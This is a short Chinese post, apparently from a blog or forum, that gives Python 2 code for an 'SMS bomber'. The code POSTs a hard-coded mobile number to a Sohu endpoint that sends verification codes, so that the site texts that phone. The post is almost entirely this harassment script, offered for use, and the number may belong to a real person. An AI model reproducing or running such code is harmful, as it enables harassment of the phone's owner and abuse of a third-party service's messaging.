见有人发了个短信轰炸,是用PHP实现的,本人研究了下,用python实现短信轰炸机,具体代码如下:
import urllib2
import cookielib
import urllib
cookie = cookielib.CookieJar()
opener = urllib2.build_opener(urllib2.HTTPCookieProcessor(cookie))
response = opener.open("http://t.sohu.com/settings/bindMobile/registSendVerificationCode")
data={"mobileNumber":"13558233012"}
r=opener.open("http://t.sohu.com/settings/bindMobile/registSendVerificationCode",urllib.urlencode(data))
print r.read()